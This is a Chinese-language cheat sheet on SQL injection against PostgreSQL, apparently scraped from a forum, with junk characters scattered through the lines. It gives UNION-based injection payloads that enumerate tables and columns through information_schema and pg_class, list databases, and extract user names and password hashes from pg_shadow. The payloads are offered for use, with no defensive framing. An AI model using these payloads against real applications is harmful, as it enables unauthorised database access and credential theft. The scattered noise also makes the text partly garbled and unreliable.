结合了MSSQL MySQL Oracle的一些特点: r" l# i7 y& @4 `, J5 Z/ m- [ n* P- z
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/# E0 |: D: f6 U
连接符: %20 , + , /**/ 内置函数:; V4 \3 w3 G2 f
current_database() //当前数据库名4 y" @# j3 u2 t8 f: o; ~9 O6 D% C
session_user //会话用户" o8 C- |" B* y
current_user //当前数据库用户
' U% ?$ K8 d* g, X# x; T' Q5 S! \user //当前用户
g9 B, v' a# D$ v% ?& Eversion() //数据库版本 Union注射:
# c! O3 b d, Q' O; C9 z2 Qorder by n–4 j) D; l9 H/ r
and 1=2 union select null,null,null–+ o$ L+ m( Y1 w
and 1=2 union select ‘beach’,null,null–
% a' u1 r4 D6 l6 Z9 R3 J; tand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):" Q9 C7 a+ A* ^& J! E p4 [
group_concat(table_name)
9 r1 ^8 y( z' @. Mand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
: @: X. l% `% `* O$ P7 eand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–0 t; K- l; e3 n' n5 k
(老版本)6 C( B" }3 p+ F4 b p0 z1 |) w! c
pg_class.oid对应pg_attribute.attrelid# O$ E& ]9 M$ i
pg_class.relname表名
! g5 F6 m; I+ V/ S6 D% Ipg_attribute.attname字段名 select relname from pg_class获取表名; G9 @2 q/ z' G9 ^ v) I/ }
select oid from pg_class where 条件 获取参数. V) o0 D) i& `+ X* J( h( C
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
/ A- N. [. q+ Z# pand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表6 k) c& T5 W( p
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–: ]4 Q- W& i0 {$ o p( B
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
+ N+ U! U4 T, Q0 Q======================================================================
3 X5 |3 `6 b" q% v! L9 sand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
: W& p3 M/ L2 N$ V% W0 Y( `0 iand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |